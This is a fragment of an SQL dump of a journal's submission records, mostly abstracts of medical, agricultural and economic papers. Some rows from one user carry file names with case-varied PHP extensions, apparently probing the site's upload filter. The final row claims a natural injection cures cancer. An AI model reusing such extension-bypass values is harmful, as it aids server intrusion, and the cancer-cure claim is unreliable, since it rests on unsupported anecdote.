“determinants OR risk factor” AND “Arabic countries OR nations”. All the relevant articles were reviewed and a data extraction sheet was made for the analysis. Results: Twenty five studies met the inclusion and exclusion criteria. Majority of studies focused on both male and female (18 studies) and those who aged 20-50 years old (8 studies). Saudi Arabia had the highest frequency of studies on T2DM which was a total of 5 studies. The results also showed that the prevalence of T2D rates from 1.3% to over 50%. Furthermore, having an unhealthy lifestyle such as poor diet and nutrition/ lack of physical activity was the most common determinant within the population, communities and hospital-based settings especially. The highest risk factors are stroke, high blood pressure and negligence towards healthy living.  Conclusion: The results of the study highlighted different prevalence of T2DM and its main determinants as well as the risk factors. This results would aid in the compilation of a framework for public health officers and stakeholders to focus on the different possible ways to reduce the contraction of T2DM. ',' Type 2 Diabetes Mellitus, Prevalence, Determinants, Prevention, Arabic countries ',685,'','2021-09-21',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-21',1),(3337,4380,45,0,'','Effects of Orally Ingested Paprika Xanthophylls on Respiratory Metabolism during Endurance Exercise: Study Protocol for an Interventional Randomised Controlled Trial','',14,3,'','Objective: Xanthophylls are a type of carotenoid with particularly high antioxidative capacity, and ingestion of paprika xanthophylls is expected to have the effect of reducing oxidative stress during exercise. In the present study, the effects of ingested paprika xanthophylls on oxidative stress and respiratory metabolism during endurance exercise were investigated in male university student athletes.\r\nMethods: In a randomized, double-blind intergroup comparative experiment, 21 male athletes ingested capsules containing 4.5 mg paprika xanthophylls (PA group; n=11) or placebo capsules (CON group; n=10). Blood was collected before ingestion, at 4 weeks after ingestion, and at 8 weeks after ingestion, and carotenoid levels, oxidative stress, and blood antioxidative capacity were analyzed. In addition, cycling exercise (60% maximal oxygen consumption for 30 min) was carried out before and at 4 and 8 weeks after ingestion, and respiratory gases were analyzed. \r\nResults: Total carotenoids and total xanthophylls in the erythrocytes showed significantly higher values in the PA group than in the CON group at both 4 and 8 weeks after ingestion (4 weeks, p<0.01; 8 weeks, p<0.001). In addition, the heart rate during cycling exercise was significantly lower in the PA than in the CON group at 4 and 8 weeks after ingestion (4 weeks, p<0.05; 8 weeks, p<0.01 and p<0.001). \r\nConclusion: These results suggest that the ingestion of paprika xanthophylls may improve energy efficiency during endurance exercise.\r\n',' antioxidant supplement, erythrocyte membrane, aerobic capacity, running  economy',3273,'','2021-09-21',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','Accepted',0,'','',4,0,0,0,NULL,'2021-09-21',1),(3299,4336,45,0,'','relationship between nursing job satisfaction and organizational commitment in KSA hospitals','',14,3,'','Abstract Nurses satisfaction has been linked to and impacted on many issues in the health care system, such as the outcome of care, patient satisfaction and organizational commitment. Organizational commitment and job satisfaction are attitudes related to jobs that have received considerable attention from researchers worldwide. Nurse role considered as very important to provide health care for patient with respect the improving the quality of care in health institutions.\r\n\r\nThis study aimed to assess the relationship between nurse\'s job satisfaction and organizational commitment in Saudi hospitals . \r\n\r\nStudy  design a quantitative descriptive correlational survey of registered nurses (RNs) in Riyadh region.\r\nThe data collection tools: Satisfaction Questionnaire and the Organization Commitment Questionnaire.\r\n\r\nResult : the study shows the correlations between nurse\'s job satisfaction and each dimension of  organizational commitment were examined using the Pearson Correlation Coefficient.  The correlation between nurse\'s job satisfaction and Affective commitment was positive and significant (r=.636),  Continue commitment (r=.654) and Normative commitment (r=.723) with (p < 0.0) which means that nurses who are satisfied with their job have organizational commitment.\r\n','Job satisfaction, nurse , organizational , commitment  ',456,'','2021-09-21',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','Accepted',0,'','',4,0,0,0,NULL,'2021-09-21',1),(2922,3804,45,0,'','Protein microarray analysis of soluble biomarkers in fertile and postmenopausal women in relation to obesity, bone status and blood cell populations.  ','',14,3,'','Objective: The purpose of the present study was to quantify serological biomarkers, namely adiponectin, leptin, E-selectin, ICAM-1 (intercelluar cell adhesion molecule-1), IGF-1 (insulin-like growth factor 1), MCSF (macrophage colony-stimulationg factor), IL-6, IL-10 and IL-17), in fertile and postmenopausal women. The relationship of these parameters to obesity and bone status has been analysed. Methods: 96 fertile and 107 postmenopausal women were enrolled in this study. The detection of multiple biomarkers, cytokines, growth factors, adhesion molecules and others, was performed by protein microarray. Results: Adipopnectin was up-regulated in postmenopausal control and ICAM-1 in postmenopausal obese women when compared to fertile obese women (p < 0,05). Significant negative correlation was between IL-6 and age (r = -0,177,  p < 0,05). The soluble form of ICAM-1 was higher in women with osteopenia, but not with osteoporosis, in comparison to the control group. IL-6 was decreased in women affected by osteoporosis. Conclusion: In context to obesity, bone status and ageing, we have found alterations in adiponectin, ICAM-1, and IL-6 parameters in postmenopausal women. We identified several statistically significant correlations between soluble biomarkers and cell populations (e.g. between IGF-1 and B-lymphocytes; IL-6 and dendritic cells; IL-10 and naive T cells, etc.).',' Postmenopausal women; protein microarray; soluble biomarkers; cytokines; adhesion molecules; cell populatiopns; obesity; bone status; osteoporosis ',685,'','2021-09-21',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','Accepted',0,'','',4,0,0,0,NULL,'2021-09-21',1),(2974,3876,45,0,'','Data Driven Statistical Modeling and Analysis of the Survival Times of Multiple Myeloma ','',14,3,'','Multiple Myeloma (MM) has been and continues to be the subject of many research studies. The main goal is to improve the therapeutic/treatment process of survival of MM patients. Based on the 2012-2016 MM cases and deaths, the number of new cases was 6.9 per 100,000 men and women per year, and the number of deaths was 3.3 per 100,000 men and women per year [2]. It is therefore imperative to research into MM. In the present study, we proposed a data-driven statistical model for the survival time of 48 patients diagnosed with multiple myeloma as a function of 16 attributable risk factors. We identified 9 attributable risk factors out of 16 and one interaction term to be significantly contributing to the survival time. They are Bence Jone protein in urine, blood urea nitrogen (BUN)/serum creatinine, infections, percent myeloid cells in peripheral blood, fractures, serum calcium, gender, platelets and age, and white blood cells and total serum protein an interaction term. The proposed model satisfied all the model assumptions, passes the residual analysis test and has very high prediction accuracy. Thus, it passes the goodness-of-fit test and the qualities of a good model. The identified significant attributable risk factors and the interaction has been ranked based on the percent contribution to the survival time. The proposed model was evaluated and compared with other existing models of survival of multiple myeloma. Our model is very accurate and also identifies some new significant risk factors.','Multiple Myeloma, Statistical Modeling',2879,'','2021-09-21',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','Accepted',0,'','',4,0,0,0,NULL,'2021-09-21',1),(550,638,45,0,'','Practice of Road Safety Measures among Kenyatta University and United States International University Students in Nairobi County, Kenya','',14,3,'','Objective: To assess the practice of road safety measures among Kenyatta University (KU) and United States International University (USIU) students in Nairobi County \r\nDesign: A cross-sectional descriptive study. \r\nSetting: Nairobi County, Kenya.\r\nSubjects: Four hundred and twenty-nine (429) undergraduate students aged between 18 to 45 years. \r\nResults: Among the 429 sampled students, 299 (69.7%) respondents displayed good practice of road safety measures. This study further revealed that Residence, Course undertaking and University attending were found to be significant with practice of road safety; χ² (1) = 11.078, p = 0.001, χ² (1) = 9.207, p = 0.002 and χ² (1) = 15.529, p = 0.001 respectively\r\nConclusion: Good practice of road safety measures was displayed by most of the participants with slightly above average score, and there was significant difference in practice of road safety measures among the two universities. Place of residence, course undertaking and university attending were socio-demographic variables with significant influence on practice of road safety while gender, religion and car ownership were not significant with practice of road safety among the study participants. Despite good practice of road safety measures, the participants scored slightly above average, meaning there is still room for improvement. Therefore the study recommends introduction of mandatory road safety education in all learning institutions by the Ministry of Education (MoE) in conjunction with National Transport and Safety Authority (NTSA) through development of a responsive road safety curriculum for each category of education. This is reinforced by UNESCO report of 2006 that noted disaster, including road traffic accidents begins in schools, hence the remedy of tackling disasters must begin in schools','Road Traffic Accidents, Practice, Students,',458,'','2021-09-21',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','Accepted',0,'','',4,0,0,0,NULL,'2021-09-22',1),(6338,7586,91,0,'','The Impact of COVID-19 Pandemic on Food Security in KSA (1968-2019): Evidence from A Simultaneous Equations system','',3,3,'','The study took up the Impact of COVID-19 Pandemic on Food Security in KSA (1968-2019), covering data from the period of 1968- 2019, using simultaneous equation model (SEM) through the Weighted L.S. (Equation Weights) method with Johansson co-integration test, to find out what variables can be affecting the food insecurity status in KSA. The study found that, the increasing in food insecurity status to a low degree due to taxes affect the local price level positively, and the increase in local price levels will lead to a decrease in consumer prices, and decrease a household consumption expenditure, as well as a decrease in the per capita national income. However, an increase in food insecurity status to a moderate degree  due to decline in consumer prices  which lead to a decrease in the level of domestic food production, and in turn leads to a decrease in the gross domestic product, fluctuation of inflation rates and increase in the demand for imported food due to the high level of government expenditure and a higher percent of direct and indirect subsidies for populations. The study recommends that reducing burdens and taxes on imported food in order to reduce the status of food insecurity in the short-run with supporting food producers following policies encouraging and motivating farmers, policy makers should focus on adopting contractive fiscal and monetary policies to reduce aggregate demand in the short-run, and effective economic policies that increase production and productivity and reduce production costs in the long run to reduce food insecurity status, in long run also the policies propaganda in encouraging the population to invest in agriculture and food production by addressing the problem of water and soil in addition to the use of contemporary agricultural technology that leads to an increase in food production and reduced costs. And avoiding the negative effects of the food import problem, especially in light of the COVID-19 pandemic that troupe a shadow over food security all over the world. The study took up the Impact of COVID-19 Pandemic on Food Security in KSA (1968-2019): Evidence from A Simultaneous Equations system','COVID-19 Pandemic, Food Security, Consumer price index, Taxes on income, Simultaneous Equation,',4050,'','2021-09-16',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','',0,'','',4,0,0,0,NULL,'2021-09-22',1),(6339,7587,91,0,'','Nonlinear Relationships between macroeconomic indicators shocks and Inflation rate in Sudan Economy 1970-2019: Evidence Combination between NARDL Model, SVAR approach','',3,3,'','This paper integrates the NARDL model and SVAR approach to analyze the long-run and short-run asymmetric effect, Nonlinear Relationships of macroeconomic indicators shocks on Inflation rate in Sudan Economy. We reveal that the demand-side shocks of oil price have a significant impact on the Chinese stock market in both short and long run, but the supply shock is an exception. In terms of asymmetric nature, there is no evidence of asymmetric impact when it refers to the supply shock and the oil-specific demand shock on stock market, and only the aggregate demand shock has asymmetric effect in short run. NARDL model results confirm the presence of long run equilibrium relationship between inflation rate and macroeconomic indicators shocks. Our findings tend to suggest that the long run relationship is asymmetric, while evidence is in support of asymmetrical short- run trade-off between the variables. Also, SVAR approach the impulse response functions showed response of money supply, GDP to inflation rate is significant, indicating stable relationship. However, both MS, GDP and (EX) seem to exert a strong negative short run impact on inflation rate levels from period 1 to period 9 and they both peaked around peirod 10, which implies macroeconomic indicators shocks increases inflation rate in the short run in Sudan economy. The results provide statistically, economics supported evidence that can guide policy makers regarding action priorities and identify other opportunities to facilitate reducing the Impact of the macroeconomic indicators shocks on inflation rate in Sudan. It would be worth redoing the analysis to examine how macroeconomic indicators shocks affects Sudan’s Inflation rate. ','Macroeconomic indicators shocks, Inflation rate, NARDL Model, SVAR approach, Sudan Economy',4054,'','2021-09-16',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2021-09-22',1),(10698,11298,277,0,'','Evidencia 1 CCH','',14,0,'','Damos a conocer nuestros aprendizajes aprendidos durante todo el módulo 1 ','',2805,'','2021-09-23',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2021-09-25',1),(10883,11443,86,0,'','The incidence and clinical presentation of coronary artery ectasia in Gaza','',14,3,'','Background: Coronary artery ectasia (CAE) is considered an uncommon angiographic finding with varying patterns of presentation and carries significant morbidity burden to the patient.\r\nobjective: was to evaluate the incidence of this condition, to analyze its clinical, and angiographic characteristics.\r\nPatients and methods: retrograde analysis of coronary angiography which was performed in 8333 patients from march 2014 to march 2021.The  clinical, angiographic, and follow up characteristics of 402 patients with coronary ectasia.\r\nResults: Of the 8333 angiograms analyzed, CAE was found in 402 patients, an incidence of 4.8 %. The mean age was 59±6  and male gender predominate 80.3%. Non ST segment  elevation acute  coronary syndrome was the most common presenting symptom (50.7%). The right coronary artery (RCA) was the commonest affected vessel by ectasia followed by the left circumflex coronary artery (LCX) in and then left anterior descending artery (LAD) and then left main artery\r\nConclusion: The incidence of coronary ectasia was 4.8 %. The majority of patients had single vessel involvement, and Right coronary artery was the most common involved vessel. This condition is mostly associated with atherosclerosis and occurrence of coronary events unstable including angina and myocardial infarction\r\n','Keywords: CAE, STEMI, NON STEMI, Stable Angina Pectoris',410,'','2021-10-02',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2021-10-05',1),(11014,11539,91,0,'','Incidence of Yellow Rust at Potential Wheat Growing Districts North Shewa Zone at Minjar, Basonawarena and Moretenajihu; Ethiopia','',14,3,'','Stripe (Yellow) rust caused by Puccinia striiformis f.sp. tritici (Pst) is important wheat diseases causing serious damage on cultivated susceptible wheat variety. The wheat yellow rust assessment was conducted during main rainy season of 2018/19 at Minjar, Basonawarena and Moretnajihur using zigzag method of diseases assessment. Disease data’s, agro-eological data and other important parameters were recorded. The disease was prevalent at all districts by diverse incidence and severity ranges.  The highest yellow rust prevalence 100% was recorded at Moretenajihur districts: conversely; the lowest prevalence percentage 16.67% was recorded at Minjar district. The highest severity and incidence of yellow rust 40-100% and 10-40%, respectively was recorded at Moretenajihur with MS to S reaction; while the lowest severity and incidence (0-15% and 0-5%) respectively was recorded at Minjar with reaction of MS. Factors such as wheat variety, growth stage and agro-ecological variations have contributions for the distributions and occurrence of epidemic for yellow rust. Highest yellow rust incidence ranges 100% S on field cultivated with bread wheat kakaba and Kubsa varieties at growth stage of Milk to matured stage. Local cultivar has shown lowest incidence and severity percentage with moderately susceptible responses than improved varieties. ','Prevalence, Severity, Incidence, Districts and Yellow rust',5114,'','2021-10-08',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2021-10-11',1),(11032,11550,639,0,'','Evaluation of Phytochemical Composition of Ginger Extracts','',14,3,'','This study involved the extraction of the bioactive phytochemicals from the ethanolic and water extract of ginger (Zingiber officinale). Further extractions were carried out using petroleum ether, ethanol and water. Phytochemical screening revealed the presence of phytochemicals except phlobatannins. A total of ten characterised compounds  were isolated from ginger. In conclusion, the ethanolic extract of ginger showed higher extraction ability than water extract in alakloid, flavomoids, oxalate, phytate, phenols, and anthraquinone with the corresponding values of 9.02, 3.51, 1.27, 0.77, 1.81, 1nd 1.33mg/g respectively. Therefore, ginger contains a wide range of bioactive which could be beneficial and possesses good inhibitory activities against varying diseases in aquaculture.\r\n','Phytochemical, Ginger, Extracts, Composition',1776,'','2021-10-09',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2021-10-12',1),(11039,11558,45,0,'','Les complications anesthésiques en post opératoire immédiat au cours de la chirurgie pédiatrique à l’hôpital national de Zinder chez les enfants de 0 à 5ans','',3,1,'Anesthésie pédiatrique ','L’anesthésie pédiatrique exigeait vigilance et rigueur à toutes les étapes. Le but de cette étude était d’évaluer la pratique de l’anesthésie pédiatrique pour chirurgie ambulatoire. Il s’agissait d’une étude prospective, descriptive et analytique portant sur une période de six mois réalisée à l’hôpital national Zinder. L’âge moyen des patients était de 27,44 mois avec une prédominance masculine, sexe ratio égal à 3,8 en faveur de garçon. Les antécédents étaient l’anesthésie, la chirurgie pour cure herniaire pour 04 cas et la drépanocytose pour 02 cas. La classe ASA I représentait 80% versus   20% pour ASA II. La principale indication opératoire était la cure herniaire avec 63,12 % dont la hernie ombilicale 37,50%   . L’anesthésie générale avec intubation orotrachéale était la technique de choix dans 82,50% des cas   contre 17,50% pour la locorégionale. Les complications en post opératoire immédiat se résumaient en hématome des bourses pour 06,87%, respiratoire pour 03,12% et hyperthermie dans 01,25% des cas. Les complications tardives observées étaient surtout la hernie controlatérale chez 05,62% des cas. Aucun cas de décès n’a été enregistré.','Anesthésie,enfant,chirurgie,ambulatoire,complications ',4048,'','2021-10-10',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2021-10-12',1),(11119,11625,45,0,'','GLYCOSYLATED HEMOGLOBIN AS A PREDICATOR OF MORTALITY IN SEVERE PNEUMONIA BY COVID 19.','',15,3,'covid 19','Summary:\r\nGlycosylated hemoglobin is one of the tests used in the diagnosis of diabetes mellitus; Knowing their values shows us whether our patients have developed de novo hyperglycemia or, on the contrary, suffer from one that had not been diagnosed; this is considered a risk factor for mortality and morbidity in patients with severe pneumonia due to covid-19 infection. It is important to know and evaluate their levels from the moment of admission in order to predict how they could be evolving.\r\n\r\n','Keywords: glycosylated hemoglobin; Mellitus diabetes; severe pneumonia; covid-19 infection.',4824,'','2021-10-16',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2021-10-18',1),(11174,11669,251,0,'','Natural Emergence and Severity of Leaf and Glume Blotch Diseases of Winter Wheat and Winter Triticale Incited by Complex of Fungi Parastagonospora spp./Zymoseptoria tritici under climatic conditions of Poland','',25,3,'','The overall purpose of the presented minireview is to show natural emergence of very destructive necrotrophic fungi from genera of Parastagonospora spp. and Zymoseptoria tritici known to infect grasses and cereal crops including winter wheat and winter triticale worldwide. The study of natural emergence of the fungal species was conducted in 8 different geographic locations of Poland. The experiments were done with 10 winter wheat and 10 winter triticale varieties planted to field plots of 10 m2 in a randomised block design. ln spring and early summer plants on the plots were assessed visually om emergence of diseases caused by the pathogens and diseased plant parts from each plot were collected for microscope inspection. The reason of the inspection was to determine by which pathogen plants were affected and how the dieseases progressed upwards on the cereal plants. Significant differences among the eight locations spread around the country were found. Zymoseptoria  tritici was most frequently identified on the studied genotypes of winter wheat. On the other hand the most frequently isolated pathogen from different heights of winter triticale plants was P. nodorum. The incidence of P. avenae f. sp. triticea on both crops, wheat and triticale appeared to be much less frequently isolated from infected plant parts at different heights than that of Z. tritici and P. nodorum. The present research also aimed to prove statistically the impact of climatic factors on the natural emergence of the pathogens affecting green plant parts at various plant heights of winter wheat and winter triticale in Poland. However, the plant-pathogen-climate interactions were not proven statistically. The bunch of correlation coefficients, sometimes positive, sometimes negative were very low, thus making inferences about disease emergence at different plant heights appeared to be quite risky.','winter wheat, winter triticale, natural leaf and glume blotch incid?nce, Parastagonospora spp., Zymoseptoria tritici',780,'','2021-10-20',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2021-10-21',1),(11224,11703,85,0,'','Work in the post-COVID-19 pandemic: the case of South Korea','',3,3,'','The outbreak of COVID-19 has transformed work and the labor market in South Korea since January 2020. Examining the labor statistics, this paper shows that the impact of the COVID-19 on work significantly varies according to economic sectors, employment types, and gender. The impact of the COVID-19 on work might differ across countries as industrial structure, employment practice, production system varies and the responses by the state and business vary across countries. ','COVID-19, precarious work, labor market segmentation, global supply chain, universal basic income, South Korea',3282,'','2021-10-22',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2021-10-25',1),(11235,11714,85,0,'','Psychological Experiences of the Guatemalan Civil War and Post-war Violence on a Kaqchikel Community: An Exploratory Qualitative Study','',17,3,'','This formative study explored the effects of the Guatemalan civil war and post-conflict violence among a small group of Kaqchikels, one of the largest Maya groups who were a vulnerable population during the civil war because of their geographical location in the western Highlands. At the height of the repression in the early 1980s, many Kaqchikels were brutally killed, kidnapped or raped. They continued to suffer from community violence and conditions of extreme poverty after the war (Burrell, 2013). ','`health, global health, health care',3282,'','2021-10-23',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2021-10-26',1),(11597,11993,639,0,'','The importance of epigenetics in comparative biology','',3,0,'','There has been a deluge of papers in scientific publications over the last decade concerning non-genetic influences on phenotype via gene function alteration without changes in gene sequence. The excitement in current molecular biology about the role of the environment on phenotypic development has been primarily focused on mechanisms and has not incorporated concerns posed (and answers provided) by early philosophers, biologists, and psychologists. As a result, the emergence of epigenetic research is akin to \"old wine in new bottles,\" signifying a reformulation of the 1800s-era debate between preformationism and epigenesis. Over the last decade, there has been a flood of studies in scientific journals involving non-genetic influences on phenotype via gene function modification without changes in gene sequence. The enthusiasm in modern molecular biology surrounding the impact of the environment on phenotypic development is mostly centred on mechanism and has not included problems posed (and answers offered) by early philosophers, biologists, and psychologists. As a result, the emergence of epigenetic research is akin to \"old wine in new bottles,\" signifying a reformulation of the 1800s-era debate between preformationism and epigenesis. Over the last decade, there has been a flood of studies in scientific journals involving non-genetic influences on phenotype via gene function modification without changes in gene sequence.','Epigenetic research, Gene sequence, Molecular biology',1771,'','2021-11-19',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2021-11-22',1),(11879,12199,326,0,'','adenocarcinome du pancreas quelle attitude adoptée ?','',5,0,'',' La chirurgie reste le seul traitement potentiellement curatif des adénocarcinomes du pancréas. \r\n Ces interventions chirurgicales sont lourdes, d\'autant plus que l\'ablation d\'une partie du pancréas perturbe fortement le fonctionnement de l\'organisme. Pour cette raison, il n\'est pas toujours possible de les proposer aux patients\r\nLes tumeurs résécables sont les  tumeurs peuvent être opérées d’emblée, si nécessaire après traitement de l’ictère et correction du statut nutritionnel, L’intervention est soit une DPC, soit une SPG.\r\nLes tumeurs de résécabilité limitée sont associées à une extension vasculaire, artérielle ou veineuse, techniquement accessible a une résection ; toutefois, si elle est faite d’emblée, leur résection est soit très risquée (cas des pancréatectomies avec extension artérielle), soit associée à un fort risque d’envahissement   des marges (R1).\r\nPour les tumeurs localement avancées traitées par chimiothérapie d’induction, l’appréciation de la réponse histologique est difficile. Une exploration chirurgicale est décidée sur des données cliniques, biologiques et tomodensitométriques, et reste la seule à` pouvoir affirmer la résécabilité.\r\nCes éléments soulignent la nécessité d’une sélection de la tumeur et des malades en vue de la chirurgie\r\n','Adénocarcinome du pancréas, résécable,  résection R0, traitements neoadjuvante , tumeur borderline, tumeur localement avance',2505,'','2021-12-04',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2021-12-06',1),(11957,12260,1020,0,'','sdisdyh','',1,0,'','ssydsidy','',5043,'','2021-12-11',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2021-12-13',1),(11992,12292,45,0,'','Managing Irate Patients And Patients’ Relatives In  Nigerian Hospitals','',3,3,'Managing Irate Patients And Patients’ Relatives In Nigerian Hospitals','Workplace violence perpetrated by irate patients and patients’ relatives is a problem that exists in every country and in every workplace. Healthcare providers are particularly prone to assaults due to the conditions in which they offer treatment. The article identified increasing stress levels in patients and their relatives, long waiting times, financial stress, enforcement of hospital rules, perceived staff rudeness and loss of a loved one as major triggers to violence against healthcare staff. This brings consequences to both the individuals directly affected by the violence and the hospital at large. Loss of professional self-esteem, loss of job satisfaction, trauma, disability, higher litigation expenses, and employee absenteeism were also identified as possible consequences of violence against healthcare staff. Indicators of possible violence were also identified to include obvious possession of a weapon, nervousness, abrupt movements, extreme restlessness, pacing or obvious agitation, approaching very closely to the other person, raised voice tone, hitting walls or items, or hitting themselves in the head or chest or breaking things, inappropriate laughter and excessive sarcasm. Staff training on recognition and management of violence, reduction of waiting times, carrying patients and their relatives along in matters relating to their healthcare, among others were also put forward as recommendations in the management of irate patients and their relatives. \r\n','Irate patients, patient\'s relatives, healthcare staff, violence \r\n',686,'','2021-12-14',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2021-12-16',1),(12236,12503,971,0,'','MICROALBUMINURIA AND GLYCOSURIA AS BIOMARKERS FOR RENAL AND CARDIOVASCULAR DISORDERS IN PREGNANCY','',14,3,'','Abstract\r\nBackground: Microalbuminuria and glycosuria are useful biochemical parameters for the assessment of renal and cardiovascular dysfunction during pregnancy. They have high predictive value for conditions such as preeclampsia and gestational diabetes. Our study sought to determine the concentrations of urinary microalbumin and glucose among pregnant women attending the Plateau State Specialist Hospital, in Jos, Plateau State as a means of possible disease prevention. \r\nMethods: A total of 160 women who consented to the study were enrolled, 140 were pregnant women while 20 were apparently non- pregnant women. Routine spot urine samples were collected from the women and concentrations of urinary albumin and creatinine were determined using the turbidimetric and Jaffe reaction methods respectively. Microalbuminuria was then determined by calculating the urinary albumin: creatinine ratio (UACR ratio). The glucose oxidase method was used to determine the concentration of glucose in the urine using point of care glucose test strips. \r\nResults: The Mean ± Standard deviation urinary albumin and creatinine concentrations were 2.14± 2.25 mg/dl and 0.08± 0.06 g/dl respectively for the pregnant women while the non pregnant participants had 1.92± 1.54mg/dl and 0.17± 0.09 g/dl respectively. The Mean ± Standard deviation microalbuminuria concentration for the pregnant women was 47.58± 84.28mg/g while the non-pregnant participants was 16.21± 27.02 mg/g (p˃ 0.05). The mean ± standard deviation glycosuria concentration for the pregnant women was 0.76± 1.07 mmol/l while that of the non- pregnant control was 0.49± 0.22mmol/l (p>0.05}. The mean ± standard deviation microalbuminuria concentrations in the first, second and third trimesters of pregnancy were (86.05±189.21 mg/g), (83.46± 146.11) and (37.42± 56.47) respectively. Microalbuminuria levels were significantly elevated in the first and third trimesters respectively, with P < 0.05. The mean glucosuria concentrations in the first, second and third trimesters were (0.75±0.80 mg/dl), (2.18± 4.16 mg/dl) and (1.22± 1.36 mg/dl) respectively, with  P> 0.05.\r\nConclusion:  Microalbuminuria and glycosuria may be useful biochemical markers for predicting the occurrence of renal and cardiovascular disorders in pregnancy.','MICROALBUMINURIA, GLYCOSURIA, PREGNANCY',3249,'','2021-12-31',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-01-04',1),(12310,12580,73,0,'','Heker','',5,1,'Komtol','Hesker','',4796,'','2022-01-12',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-01-17',1),(12311,12580,73,0,'','Heker32','',2,0,'Komtol','Absshwll','Kontol',333,'','2022-01-12',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-01-17',1),(12373,12646,73,0,'','snopunks','',24,0,'','snopunks','snopunks',5284,'','2022-01-23',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-01-25',1),(12375,12646,73,0,'','l','',1,1,'llk','lk','ok',353,'','2022-01-23',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-01-27',1),(12376,12646,73,0,'','9gQY4psc','',23,0,'','9gQY4psc','n',5284,'','2022-01-23',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-01-27',1),(12377,12646,73,0,'','12375-0-Manuscript-2022-01-23.Phtml','',2,1,'k','12375-0-Manuscript-2022-01-23.Phtml','12375-0-Manuscript-2022-01-23.Phtml',354,'','2022-01-23',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-01-27',1),(12378,12646,73,0,'','12375-0-Manuscript-2022-01-23.Phtmlmm','',2,0,'kkkm','12375-0-Manuscript-2022-01-23.Phtmlmmmm','12375-0-Manuscript-2022-01-23.Phtmlmm',354,'','2022-01-23',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-01-27',1),(12379,12646,73,0,'','k','',3,0,'ll','12378-0-Manuscript-2022-01-23.PhP','12378-0-Manuscr)ipt-2022-01-23.PhP',354,'','2022-01-23',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-01-27',1),(12380,12646,73,0,'','ak','',3,0,'','12379-0-Manuscript-2022-01-23.pHp','12379-0-Manuscript-2022-01-23.pHp',332,'','2022-01-23',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-01-27',1),(12465,12734,45,0,'','A New TQM Model for the Postmodern Organisation','',15,3,'Special issue on Health Care Management','During the latter part of the 20th century, total quality management (TQM) emerged as a global phenomenon for improving organisational performance. Yet, despite its extraordinary dominance, most TQM initiatives were unsuccessful, leading to its decline by the early part of the 21st century. This paper explores the development of a new TQM based model that can address the conceptual and implementation issues of conventional TQM. By integrating contemporary organisational concepts with TQM, a new quality framework, called EALIM—ethical, adaptive, learning and improvement model—was devised. EALIM’s framework presents an essential broadening conception of TQM that could yield increased success, since it is more suited to a postmodern context. In addition to being a meaningful contribution to TQM, this paper offers a broader understanding of organisational processes and decision-making, since any one organisational concept only offers a restricted view of a complex phenomenon. The development of EALIM also provides researchers the prospect of examining its applicability within a variety of settings','Total Quality Management, Quality Improvement, Business Excellence, Corporate Social Responsibility, Complexity Theory, Knowledge Management',686,'','2022-02-07',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-02-07',1),(12471,12741,86,0,'','Updates on the Death of Jesus','',3,0,'','See Abstract File','Acute Cardiac Event\r\nAsphyxia\r\nCrucifixion\r\nHypovolemic Shock',5013,'','2022-02-07',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-02-08',1),(12512,12779,667,0,'','The end of cancer ','',11,0,'','\r\n  I am a Syrian inventor who obtained an American patent at the end of the year 2020. My invention is a natural product to combat viral diseases and cancers.  This product was invented in 2008, this product and its effects were studied within study plans according to what I saw as the most appropriate follow-up to scientific research.  Experiments were carried out on hundreds of patients. The purpose of these experiments (which I was sure of success before undertaking them) was to save patients from certain death due to cancer. The purpose of the study was humane and not for the purpose of writing a scientific article.  The reason that convinced me that this invention is a successful treatment against cancer is that I injected the udders of cows and sheep that were suffering from tumors inside the milk duct and these tumors disappeared after treatment with this product, I started writing the results and cases that I treat in a scientific way (I think it is the best way to research  Scientific and Invention) I would ask the patient for blood tests that include: mainly cancerous markers and some other analyzes, in addition to a CT scan showing the size of the tumor.  After treatment, in a short period of time, 